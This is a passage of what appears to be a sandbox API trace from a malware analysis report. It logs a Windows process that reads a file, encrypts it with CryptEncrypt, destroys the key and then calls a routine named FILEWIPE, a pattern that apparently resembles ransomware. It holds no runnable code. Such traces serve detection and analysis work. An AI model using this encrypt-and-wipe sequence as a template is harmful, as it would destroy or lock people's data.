PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.990] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.992] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.992] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5a9d, lpOverlapped=0x0) returned 1 [0023.992] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.994] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.994] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.994] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.994] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.995] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.995] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.995] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.995] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.995] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.995] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.995] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.995] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.995] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.996] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.996] CryptGetKeyParam (in: hKey=0xe8f4061c30, dwParam=0x7, pbData=0xe8f4064b30, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b30*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.996] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.996] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.996] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.997] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.997] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5a9d, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5aa0) returned 1 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] CharLowerBuffW (in: lpsz="byte[23201]", cchLength=0xb | out: lpsz="byte[23201]") returned 0xb [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.997] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.997] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.998] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.998] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cbf30*, pdwDataLen=0xe8f3dfdf68*=0x5a9d, dwBufLen=0x5aa0 | out: pbData=0xe8f41cbf30*, pdwDataLen=0xe8f3dfdf68*=0x5aa0) returned 1 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.998] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.998] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.998] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.998] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.000] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.001] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.001] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.001] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0024.001] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.001] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.001] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0024.001] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.001] CryptDestroyKey (hKey=0xe8f4061c30) returned 1 [0024.001] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.001] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.002] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.002] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.002] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.002] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.002] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.002] CryptReleaseContext (hProv=0xe8f40633d0, dwFlags=0x0) returned 1 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.002] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.002] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0024.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.004] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.004] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.004] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0024.004] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.005] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.005] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.005] CharLowerBuffW (in: lpsz="byte[23197]", cchLength=0xb | out: lpsz="byte[23197]") returned 0xb [0024.005] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.005] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0024.005] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.006] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0024.006] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0024.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0024.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0024.006] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0024.006] FreeLibrary (hLibModule=0x7ffe2a8b0000) returned 1 [0024.007] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.007] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.007] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0024.007] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.008] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.008] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.008] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.009] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 